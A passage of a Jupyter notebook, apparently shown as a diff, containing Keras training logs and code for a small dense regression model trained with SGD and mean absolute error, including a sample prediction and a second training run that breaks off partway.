0s 4ms/step - loss: 15.7503 - mae: 15.7503\n", - "Epoch 81/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.7175 - mae: 15.7175\n", - "Epoch 82/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.8332 - mae: 15.8332\n", - "Epoch 83/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.7658 - mae: 15.7658\n", - "Epoch 84/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.6994 - mae: 15.6994\n", - "Epoch 85/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.6816 - mae: 15.6816\n", - "Epoch 86/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.7821 - mae: 15.7821\n", - "Epoch 87/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 3ms/step - loss: 15.7151 - mae: 15.7151\n", - "Epoch 88/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.6491 - mae: 15.6491\n", - "Epoch 89/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.6428 - mae: 15.6428\n", - "Epoch 90/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.7316 - mae: 15.7316\n", - "Epoch 91/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.6651 - mae: 15.6651\n", - "Epoch 92/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5994 - mae: 15.5994\n", - "Epoch 93/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.6011 - mae: 15.6011\n", - "Epoch 94/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.6818 - mae: 15.6818\n", - "Epoch 95/200\n", - "1/1 [==============================] - 0s 8ms/step - loss: 15.6157 - mae: 15.6157\n", - "Epoch 96/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5503 - mae: 15.5503\n", - "Epoch 97/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.5564 - mae: 15.5564\n", - "Epoch 98/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.6326 - mae: 15.6326\n", - "Epoch 99/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5668 - mae: 15.5668\n", - "Epoch 100/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5018 - mae: 15.5018\n", - "Epoch 101/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.5087 - mae: 15.5087\n", - "Epoch 102/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.5839 - mae: 15.5839\n", - "Epoch 103/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5184 - mae: 15.5184\n", - "Epoch 104/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.4537 - mae: 15.4537\n", - "Epoch 105/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.4580 - mae: 15.4580\n", - "Epoch 106/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5357 - mae: 15.5357\n", - "Epoch 107/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 15.4705 - mae: 15.4705\n", - "Epoch 108/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.4061 - mae: 15.4061\n", - "Epoch 109/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.4042 - mae: 15.4042\n", - "Epoch 110/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.4879 - mae: 15.4879\n", - "Epoch 111/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.4230 - mae: 15.4230\n", - "Epoch 112/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.3589 - mae: 15.3589\n", - "Epoch 113/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.3475 - mae: 15.3475\n", - "Epoch 114/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.4406 - mae: 15.4406\n", - "Epoch 115/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.3759 - mae: 15.3759\n", - "Epoch 116/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.3121 - mae: 15.3121\n", - "Epoch 117/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.2877 - mae: 15.2877\n", - "Epoch 118/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.3936 - mae: 15.3936\n", - "Epoch 119/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.3292 - mae: 15.3292\n", - "Epoch 120/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.2656 - mae: 15.2656\n", - "Epoch 121/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.2248 - mae: 15.2248\n", - "Epoch 122/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.3470 - mae: 15.3470\n", - "Epoch 123/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.2828 - mae: 15.2828\n", - "Epoch 124/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.2194 - mae: 15.2194\n", - "Epoch 125/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.1588 - mae: 15.1588\n", - "Epoch 126/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.3007 - mae: 15.3007\n", - "Epoch 127/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.2366 - mae: 15.2366\n", - "Epoch 128/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.1734 - mae: 15.1734\n", - "Epoch 129/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.1110 - mae: 15.1110\n", - "Epoch 130/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.2315 - mae: 15.2315\n", - "Epoch 131/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.1911 - mae: 15.1911\n", - "Epoch 132/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.1281 - mae: 15.1281\n", - "Epoch 133/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0658 - mae: 15.0658\n", - "Epoch 134/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.1588 - mae: 15.1588\n", - "Epoch 135/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.1458 - mae: 15.1458\n", - "Epoch 136/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0829 - mae: 15.0829\n", - "Epoch 137/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0207 - mae: 15.0207\n", - "Epoch 138/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.0829 - mae: 15.0829\n", - "Epoch 139/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.1006 - mae: 15.1006\n", - "Epoch 140/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0378 - mae: 15.0378\n", - "Epoch 141/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9757 - mae: 14.9757\n", - "Epoch 142/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0038 - mae: 15.0038\n", - "Epoch 143/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0555 - mae: 15.0555\n", - "Epoch 144/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9928 - mae: 14.9928\n", - "Epoch 145/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9308 - mae: 14.9308\n", - "Epoch 146/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.9216 - mae: 14.9216\n", - "Epoch 147/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0105 - mae: 15.0105\n", - "Epoch 148/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9478 - mae: 14.9478\n", - "Epoch 149/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.8858 - mae: 14.8858\n", - "Epoch 150/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.8361 - mae: 14.8361\n", - "Epoch 151/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9654 - mae: 14.9654\n", - "Epoch 152/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9028 - mae: 14.9028\n", - "Epoch 153/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.8408 - mae: 14.8408\n", - "Epoch 154/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.7796 - mae: 14.7796\n", - "Epoch 155/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.8865 - mae: 14.8865\n", - "Epoch 156/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.8582 - mae: 14.8582\n", - "Epoch 157/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.7962 - mae: 14.7962\n", - "Epoch 158/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.7350 - mae: 14.7350\n", - "Epoch 159/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.7941 - mae: 14.7941\n", - "Epoch 160/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.8135 - mae: 14.8135\n", - "Epoch 161/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.7515 - mae: 14.7515\n", - "Epoch 162/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.6902 - mae: 14.6902\n", - "Epoch 163/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.6985 - mae: 14.6985\n", - "Epoch 164/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.7686 - mae: 14.7686\n", - "Epoch 165/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.7066 - mae: 14.7066\n", - "Epoch 166/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.6452 - mae: 14.6452\n", - "Epoch 167/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.5995 - mae: 14.5995\n", - "Epoch 168/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.7236 - mae: 14.7236\n", - "Epoch 169/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.6614 - mae: 14.6614\n", - "Epoch 170/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.6000 - mae: 14.6000\n", - "Epoch 171/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.5392 - mae: 14.5392\n", - "Epoch 172/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 14.6346 - mae: 14.6346\n", - "Epoch 173/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.6165 - mae: 14.6165\n", - "Epoch 174/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.5550 - mae: 14.5550\n", - "Epoch 175/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.4941 - mae: 14.4941\n", - "Epoch 176/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.5286 - mae: 14.5286\n", - "Epoch 177/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.5713 - mae: 14.5713\n", - "Epoch 178/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.5096 - mae: 14.5096\n", - "Epoch 179/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.4485 - mae: 14.4485\n", - "Epoch 180/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.4193 - mae: 14.4193\n", - "Epoch 181/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.5257 - mae: 14.5257\n", - "Epoch 182/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.4638 - mae: 14.4638\n", - "Epoch 183/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.4026 - mae: 14.4026\n", - "Epoch 184/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.3420 - mae: 14.3420\n", - "Epoch 185/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.4426 - mae: 14.4426\n", - "Epoch 186/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.4182 - mae: 14.4182\n", - "Epoch 187/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.3567 - mae: 14.3567\n", - "Epoch 188/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.2959 - mae: 14.2959\n", - "Epoch 189/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.3262 - mae: 14.3262\n", - "Epoch 190/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.3720 - mae: 14.3720\n", - "Epoch 191/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.3103 - mae: 14.3103\n", - "Epoch 192/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.2492 - mae: 14.2492\n", - "Epoch 193/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.2062 - mae: 14.2062\n", - "Epoch 194/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.3253 - mae: 14.3253\n", - "Epoch 195/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.2633 - mae: 14.2633\n", - "Epoch 196/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.2020 - mae: 14.2020\n", - "Epoch 197/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.1412 - mae: 14.1412\n", - "Epoch 198/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.2180 - mae: 14.2180\n", - "Epoch 199/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 14.2163 - mae: 14.2163\n", - "Epoch 200/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.1546 - mae: 14.1546\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 37, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#### 2nd method : Adding more layers\n", - "\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100, activation=\"relu\"),tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error # SGD = Stochastic Gradient descent\n", - "\n", - "#Fit the model\n", - "model.fit(X,y,epochs=200) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 38, - "id": "461501d9", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[116.92235]], dtype=float32)" - ] - }, - "execution_count": 38, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Try to make prediction using model\n", - "model.predict([14])" - ] - }, - { - "cell_type": "code", - "execution_count": 39, - "id": "88da15e1", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/200\n", - "1/1 [==============================] - 0s 350ms/step - loss: 52.9420 - mae: 52.9420\n", - "Epoch 2/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 52.1546 - mae: 52.1546\n", - "Epoch 3/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 51.3755 - mae: 51.3755\n", - "Epoch 4/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 50.5918 - mae: 50.5918\n", - "Epoch 5/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 49.7982 - mae: 49.7982\n", - "Epoch 6/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 48.9991 - mae: 48.9991\n", - "Epoch 7/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 48.1802 - mae: 48.1802\n", - "Epoch 8/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 47.3401 - mae: 47.3401\n", - "Epoch 9/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 46.4708 - mae: 46.4708\n", - "Epoch 10/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 45.5644 - mae: 45.5644\n", - "Epoch 11/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 44.6183 - mae: 44.6183\n", - "Epoch 12/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 43.6266 - mae: 43.6266\n", - "Epoch 13/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 42.5865 - mae: 42.5865\n", - "Epoch 14/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 41.5393 - mae: 41.5393\n", - "Epoch 15/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 40.5190 - mae: 40.5190\n", - "Epoch 16/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39.4509 - mae: 39.4509\n", - "Epoch 17/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 38.3339 - mae: 38.3339\n", - "Epoch 18/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 37.1663 - mae: 37.1663\n", - "Epoch 19/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35.9449 - mae: 35.9449\n", - "Epoch 20/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34.6641 - mae: 34.6641\n", - "Epoch 21/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33.3214 - mae: 33.3214\n", - "Epoch 22/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 31.9147 - mae: 31.9147\n", - "Epoch 23/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 30.4418 - mae: 30.4418\n", - "Epoch 24/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 29.0477 - mae: 29.0477\n", - "Epoch 25/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 27.7883 - mae: 27.7883\n", - "Epoch 26/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 26.4859 - mae: 26.4859\n", - "Epoch 27/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 25.1379 - mae: 25.1379\n", - "Epoch 28/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 24.0128 - mae: 24.0128\n", - "Epoch 29/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23.0493 - mae: 23.0493\n", - "Epoch 30/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22.0706 - mae: 22.0706\n", - "Epoch 31/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 21.1029 - mae: 21.1029\n", - "Epoch 32/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 20.6576 - mae: 20.6576\n", - "Epoch 33/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 20.2181 - mae: 20.2181\n", - "Epoch 34/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 19.7833 - mae: 19.7833\n", - "Epoch 35/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 19.3519 - mae: 19.3519\n", - "Epoch 36/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.9229 - mae: 18.9229\n", - "Epoch 37/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 18.4949 - mae: 18.4949\n", - "Epoch 38/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 18.0669 - mae: 18.0669\n", - "Epoch 39/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 17.9175 - mae: 17.9175\n", - "Epoch 40/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.0785 - mae: 18.0785\n", - "Epoch 41/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.2096 - mae: 18.2096\n", - "Epoch 42/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.3129 - mae: 18.3129\n", - "Epoch 43/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.3904 - mae: 18.3904\n", - "Epoch 44/200\n", - "1/1 [==============================] - 0s 8ms/step - loss: 18.4443 - mae: 18.4443\n", - "Epoch 45/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.6182 - mae: 18.6182\n", - "Epoch 46/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.6931 - mae: 18.6931\n", - "Epoch 47/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 18.5759 - mae: 18.5759\n", - "Epoch 48/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.2925 - mae: 18.2925\n", - "Epoch 49/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 18.1505 - mae: 18.1505\n", - "Epoch 50/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18.0139 - mae: 18.0139\n", - "Epoch 51/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 17.8773 - mae: 17.8773\n", - "Epoch 52/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.7408 - mae: 17.7408\n", - "Epoch 53/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 17.6047 - mae: 17.6047\n", - "Epoch 54/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 17.4691 - mae: 17.4691\n", - "Epoch 55/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.3342 - mae: 17.3342\n", - "Epoch 56/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.2002 - mae: 17.2002\n", - "Epoch 57/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 17.0671 - mae: 17.0671\n", - "Epoch 58/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.1334 - mae: 17.1334\n", - "Epoch 59/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.2098 - mae: 17.2098\n", - "Epoch 60/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.2395 - mae: 17.2395\n", - "Epoch 61/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 17.2271 - mae: 17.2271\n", - "Epoch 62/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.1766 - mae: 17.1766\n", - "Epoch 63/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17.0912 - mae: 17.0912\n", - "Epoch 64/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.9736 - mae: 16.9736\n", - "Epoch 65/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.8263 - mae: 16.8263\n", - "Epoch 66/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.6511 - mae: 16.6511\n", - "Epoch 67/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.6048 - mae: 16.6048\n", - "Epoch 68/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.6080 - mae: 16.6080\n", - "Epoch 69/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.5977 - mae: 16.5977\n", - "Epoch 70/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.5749 - mae: 16.5749\n", - "Epoch 71/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.5408 - mae: 16.5408\n", - "Epoch 72/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.4966 - mae: 16.4966\n", - "Epoch 73/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.4433 - mae: 16.4433\n", - "Epoch 74/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16.3818 - mae: 16.3818\n", - "Epoch 75/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.3130 - mae: 16.3130\n", - "Epoch 76/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.2378 - mae: 16.2378\n", - "Epoch 77/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.1569 - mae: 16.1569\n", - "Epoch 78/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.0711 - mae: 16.0711\n", - "Epoch 79/200\n", - "1/1 [==============================] - 0s 9ms/step - loss: 15.9809 - mae: 15.9809\n", - "Epoch 80/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15.8869 - mae: 15.8869\n", - "Epoch 81/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.8784 - mae: 15.8784\n", - "Epoch 82/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.8741 - mae: 15.8741\n", - "Epoch 83/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.8213 - mae: 15.8213\n", - "Epoch 84/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.7244 - mae: 15.7244\n", - "Epoch 85/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5962 - mae: 15.5962\n", - "Epoch 86/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.5620 - mae: 15.5620\n", - "Epoch 87/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 15.5182 - mae: 15.5182\n", - "Epoch 88/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 15.4656 - mae: 15.4656\n", - "Epoch 89/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.4051 - mae: 15.4051\n", - "Epoch 90/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.3377 - mae: 15.3377\n", - "Epoch 91/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.2640 - mae: 15.2640\n", - "Epoch 92/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.2109 - mae: 15.2109\n", - "Epoch 93/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.1542 - mae: 15.1542\n", - "Epoch 94/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 15.0831 - mae: 15.0831\n", - "Epoch 95/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15.0321 - mae: 15.0321\n", - "Epoch 96/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.9730 - mae: 14.9730\n", - "Epoch 97/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.9067 - mae: 14.9067\n", - "Epoch 98/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.8340 - mae: 14.8340\n", - "Epoch 99/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.8150 - mae: 14.8150\n", - "Epoch 100/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.7458 - mae: 14.7458\n", - "Epoch 101/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.6545 - mae: 14.6545\n", - "Epoch 102/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.6035 - mae: 14.6035\n", - "Epoch 103/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 14.5442 - mae: 14.5442\n", - "Epoch 104/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.4776 - mae: 14.4776\n", - "Epoch 105/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.4043 - mae: 14.4043\n", - "Epoch 106/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.3350 - mae: 14.3350\n", - "Epoch 107/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.2651 - mae: 14.2651\n", - "Epoch 108/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.1976 - mae: 14.1976\n", - "Epoch 109/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 14.1472 - mae: 14.1472\n", - "Epoch 110/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 14.0678 - mae: 14.0678\n", - "Epoch 111/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.0040 - mae: 14.0040\n", - "Epoch 112/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 13.9331 - mae: 13.9331\n", - "Epoch 113/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.8598 - mae: 13.8598\n", - "Epoch 114/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.7967 - mae: 13.7967\n", - "Epoch 115/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.7299 - mae: 13.7299\n", - "Epoch 116/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.6562 - mae: 13.6562\n", - "Epoch 117/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 13.5768 - mae: 13.5768\n", - "Epoch 118/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 13.5370 - mae: 13.5370\n", - "Epoch 119/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 13.4437 - mae: 13.4437\n", - "Epoch 120/200\n", - "1/1 [==============================] - 0s 2ms/step - loss: 13.3766 - mae: 13.3766\n", - "Epoch 121/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.3183 - mae: 13.3183\n", - "Epoch 122/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.2519 - mae: 13.2519\n", - "Epoch 123/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.1780 - mae: 13.1780\n", - "Epoch 124/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 13.0975 - mae: 13.0975\n", - "Epoch 125/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.0108 - mae: 13.0108\n", - "Epoch 126/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12.9187 - mae: 12.9187\n", - "Epoch 127/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 12.8222 - mae: 12.8222\n", - "Epoch 128/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 12.8180 - mae: 12.8180\n", - "Epoch 129/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 12.7422 - mae: 12.7422\n", - "Epoch 130/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 12.6000 - mae: 12.6000\n", - "Epoch 131/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12.5351 - mae: 12.5351\n", - "Epoch 132/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 12.4790 - mae: 12.4790\n", - "Epoch 133/200\n", - "1/1 [==============================] - 0s 